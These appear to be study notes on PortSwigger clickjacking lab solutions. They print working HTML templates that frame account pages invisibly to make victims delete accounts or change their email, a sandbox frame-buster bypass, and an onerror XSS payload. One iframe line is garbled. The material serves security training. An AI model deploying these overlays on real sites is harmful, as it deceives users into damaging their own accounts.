Portswigger Clickjacking Lab Notes

1. Basic clickjacking with CSRF token protection

This lab contains login functionality and a delete account button that is protected by a CSRF token. A user will click on elements that display the word "click" on a decoy website.

To solve the lab, craft some HTML that frames the account page and fools the user into deleting their account. The lab is solved when the account is deleted.

You can log in to your own account using the following credentials: wiener:peter

**Note**

The victim will be using Chrome so test your exploit on that browser.

 Solution

1. Log in to your account on the target website.
2. Go to the exploit server and paste the following HTML template into the **Body** section:

***<style>***

***iframe {***

***position:relative;***

***width:$width\_value;***

***height: $height\_value;***

***opacity: $opacity;***

***z-index: 2;***

***}***

***div {***

***position:absolute;***

***top:$top\_value;***

***left:$side\_value;***

***z-index: 1;***

***}***

***</style>***

***<div>Test me</div>***

***<iframe src="YOUR-LAB-ID.web-security-academy.net/my-account"></iframe>***

1. Make the following adjustments to the template:
   * Replace YOUR-LAB-ID in the iframe src attribute with your unique lab ID.
   * Substitute suitable pixel values for the $height\_value and $width\_value variables of the iframe (we suggest 700px and 500px respectively).
   * Substitute suitable pixel values for the $top\_value and $side\_value variables of the decoy web content so that the "Delete account" button and the "Test me" decoy action align (we suggest 300px and 60px respectively).
   * Set the opacity value $opacity to ensure that the target iframe is transparent. Initially, use an opacity of 0.1 so that you can align the iframe actions and adjust the position values as necessary. For the submitted attack a value of 0.0001 will work.
2. Click **Store** and then **View exploit**.
3. Hover over **Test me** and ensure the cursor changes to a hand indicating that the div element is positioned correctly. **Do not actually click the "Delete account" button yourself.** If you do, the lab will be broken and you will need to wait until it resets to try again (about 20 minutes). If the div does not line up properly, adjust the top and left properties of the style sheet.
4. Once you have the div element lined up correctly, change "Test me" to "Click me" and click **Store**.
5. Click on **Deliver exploit to victim** and the lab should be solved.
6. Clickjacking with form input data prefilled from a URL parameter

This lab extends the basic clickjacking example in [Lab: Basic clickjacking with CSRF token protection](https://portswigger.net/web-security/clickjacking/lab-basic-csrf-protected). The goal of the lab is to change the email address of the user by prepopulating a form using a URL parameter and enticing the user to inadvertently click on an "Update email" button.

To solve the lab, craft some HTML that frames the account page and fools the user into updating their email address by clicking on a "Click me" decoy. The lab is solved when the email address is changed.

You can log in to your own account using the following credentials: wiener:peter

**Note**

The victim will be using Chrome so test your exploit on that browser.

 Solution

1. Log in to the account on the target website.
2. Go to the exploit server and paste the following HTML template into the "Body" section:

***<style>***

***iframe {***

***position:relative;***

***width:$width\_value;***

***height: $height\_value;***

***opacity: $opacity;***

***z-index: 2;***

***}***

***div {***

***position:absolute;***

***top:$top\_value;***

***left:$side\_value;***

***z-index: 1;***

***}***

***</style>***

***<div>Test me</div>***

***<iframe src="YOUR-LAB-ID.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe>***

1. Make the following adjustments to the template:
   * Replace YOUR-LAB-ID with your unique lab ID so that the URL points to the target website's user account page, which contains the "Update email" form.
   * Substitute suitable pixel values for the $height\_value and $width\_value variables of the iframe (we suggest 700px and 500px respectively).
   * Substitute suitable pixel values for the $top\_value and $side\_value variables of the decoy web content so that the "Update email" button and the "Test me" decoy action align (we suggest 400px and 80px respectively).
   * Set the opacity value $opacity to ensure that the target iframe is transparent. Initially, use an opacity of 0.1 so that you can align the iframe actions and adjust the position values as necessary. For the submitted attack a value of 0.0001 will work.
2. Click **Store** and then **View exploit**.
3. Hover over "Test me" and ensure the cursor changes to a hand indicating that the div element is positioned correctly. If not, adjust the position of the div element by modifying the top and left properties of the style sheet.
4. Once you have the div element lined up correctly, change "Test me" to "Click me" and click **Store**.
5. Change the email address in your exploit so that it doesn't match your own.
6. Deliver the exploit to the victim to solve the lab.
7. Clickjacking with a frame buster script

This lab is protected by a frame buster which prevents the website from being framed. Can you get around the frame buster and conduct a clickjacking attack that changes the users email address?

To solve the lab, craft some HTML that frames the account page and fools the user into changing their email address by clicking on "Click me". The lab is solved when the email address is changed.

You can log in to your own account using the following credentials: wiener:peter

**Note**

The victim will be using Chrome so test your exploit on that browser.

 Solution

1. Log in to the account on the target website.
2. Go to the exploit server and paste the following HTML template into the "Body" section:

***<style>***

***iframe {***

***position:relative;***

***width:$width\_value;***

***height: $height\_value;***

***opacity: $opacity;***

***z-index: 2;***

***}***

***div {***

***position:absolute;***

***top:$top\_value;***

***left:$side\_value;***

***z-index: 1;***

***}***

***</style>***

***<div>Test me</div>***

***<iframe sandbox="allow-forms"***

***src="YOUR-LAB-ID.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe>***

1. Make the following adjustments to the template:
   * Replace YOUR-LAB-ID in the iframe src attribute with your unique lab ID so that the URL of the target website's user account page, which contains the "Update email" form.
   * Substitute suitable pixel values for the $height\_value and $width\_value variables of the iframe (we suggest 700px and 500px respectively).
   * Substitute suitable pixel values for the $top\_value and $side\_value variables of the decoy web content so that the "Update email" button and the "Test me" decoy action align (we suggest 385px and 80px respectively).
   * Set the opacity value $opacity to ensure that the target iframe is transparent. Initially, use an opacity of 0.1 so that you can align the iframe actions and adjust the position values as necessary. For the submitted attack a value of 0.0001 will work.

Notice the use of the sandbox="allow-forms" attribute that neutralizes the frame buster script.

1. Click **Store** and then **View exploit**.
2. Hover over "Test me" and ensure the cursor changes to a hand indicating that the div element is positioned correctly. If not, adjust the position of the div element by modifying the top and left properties of the style sheet.
3. Once you have the div element lined up correctly, change "Test me" to "Click me" and click **Store**.
4. Change the email address in your exploit so that it doesn't match your own.
5. Deliver the exploit to the victim to solve the lab.
6. Exploiting clickjacking vulnerability to trigger DOM-based XSS

This lab contains an XSS vulnerability that is triggered by a click. Construct a clickjacking attack that fools the user into clicking the "Click me" button to call the print() function.

**Note**

The victim will be using Chrome so test your exploit on that browser.

 Solution

1. Go to the exploit server and paste the following HTML template into the **Body** section:

***<style>***

***iframe {***

***position:relative;***

***width:700px;***

***height: 400px;***

***opacity: 0.1;***

***z-index: 2;***

***}***

***div {***

***position:absolute;***

***top:320px;***

***left:60px;***

***z-index: 1;***

***}***

***</style>***

***<div>Click me</div>***

***<iframe src="https://0a4000f903161736802c0873007f002c.web-security-academy.net/feedback?name=%3Cimg%20src%3Dx%20onerror%3Dprint()%3E&email=aaaaa%40b.com&subject=test&message=test#feedbackResult"></iframe>src="YOUR-LAB-ID.web-security-academy.net/feedback?name=<img src=1 onerror=print()>***[***&email=hacker@attacker-website.com&subject=test&message=test#feedbackResult"></iframe***](mailto:&email=hacker@attacker-website.com&subject=test&message=test#feedbackResult"></iframe)***>***

The iframe is loading the feedback form from the vulnerable site.

Notice the name parameter:  
?name=<img src=1 onerror=print()>  
This injects an XSS payload into the feedback form.

When the page loads and the victim clicks the "Submit feedback" button, the injected XSS (print()) will trigger.

1. Make the following adjustments to the template:
   * Replace YOUR-LAB-ID in the iframe src attribute with your unique lab ID so that the URL points to the target website's "Submit feedback" page.
   * Substitute suitable pixel values for the $height\_value and $width\_value variables of the iframe (we suggest 700px and 500px respectively).
   * Substitute suitable pixel values for the $top\_value and $side\_value variables of the decoy web content so that the "Submit feedback" button and the "Test me" decoy action align (we suggest 610px and 80px respectively).
   * Set the opacity value $opacity to ensure that the target iframe is transparent. Initially, use an opacity of 0.1 so that you can align the iframe actions and adjust the position values as necessary. For the submitted attack a value of 0.0001 will work.
2. Click **Store** and then **View exploit**.
3. Hover over "Test me" and ensure the cursor changes to a hand indicating that the div element is positioned correctly. If not, adjust the position of the div element by modifying the top and left properties of the style sheet.
4. Click **Test me**. The print dialog should open.
5. Change "Test me" to "Click me" and click **Store** on the exploit server.
6. Now click on **Deliver exploit to victim** and the lab should be solved.
7. Multistep clickjacking

This lab has some account functionality that is protected by a CSRF token and also has a confirmation dialog to protect against Clickjacking. To solve this lab construct an attack that fools the user into clicking the delete account button and the confirmation dialog by clicking on "Click me first" and "Click me next" decoy actions. You will need to use two elements for this lab.

You can log in to the account yourself using the following credentials: wiener:peter

**Note**

The victim will be using Chrome so test your exploit on that browser.

 Solution

1. Log in to your account on the target website and go to the user account page.
2. Go to the exploit server and paste the following HTML template into the "Body" section:

***<style>***

***iframe {***

***position:relative;***

***width:$width\_value;***

***height: $height\_value;***

***opacity: $opacity;***

***z-index: 2;***

***}***

***.firstClick, .secondClick {***

***position:absolute;***

***top:$top\_value1;***

***left:$side\_value1;***

***z-index: 1;***

***}***

***.secondClick {***

***top:$top\_value2;***

***left:$side\_value2;***

***}***

***</style>***

***<div class="firstClick">Test me first</div>***

***<div class="secondClick">Test me next</div>***

***<iframe src="YOUR-LAB-ID.web-security-academy.net/my-account"></iframe>***

1. Make the following adjustments to the template:
   * Replace YOUR-LAB-ID with your unique lab ID so that URL points to the target website's user account page.
   * Substitute suitable pixel values for the $width\_value and $height\_value variables of the iframe (we suggest 500px and 700px respectively).
   * Substitute suitable pixel values for the $top\_value1 and $side\_value1 variables of the decoy web content so that the "Delete account" button and the "Test me first" decoy action align (we suggest 330px and 50px respectively).
   * Substitute a suitable value for the $top\_value2 and $side\_value2 variables so that the "Test me next" decoy action aligns with the "Yes" button on the confirmation page (we suggest 285px and 225px respectively).
   * Set the opacity value $opacity to ensure that the target iframe is transparent. Initially, use an opacity of 0.1 so that you can align the iframe actions and adjust the position values as necessary. For the submitted attack a value of 0.0001 will work.
2. Click **Store** and then **View exploit**.
3. Hover over "Test me first" and ensure the cursor changes to a hand indicating that the div element is positioned correctly. If not, adjust the position of the div element by modifying the top and left properties inside the firstClick class of the style sheet.
4. Click **Test me first** then hover over **Test me next** and ensure the cursor changes to a hand indicating that the div element is positioned correctly. If not, adjust the position of the div element by modifying the top and left properties inside the secondClick class of the style sheet.
5. Once you have the div element lined up correctly, change "Test me first" to "Click me first", "Test me next" to "Click me next" and click **Store** on the exploit server.
6. Now click on **Deliver exploit to victim** and the lab should be solved.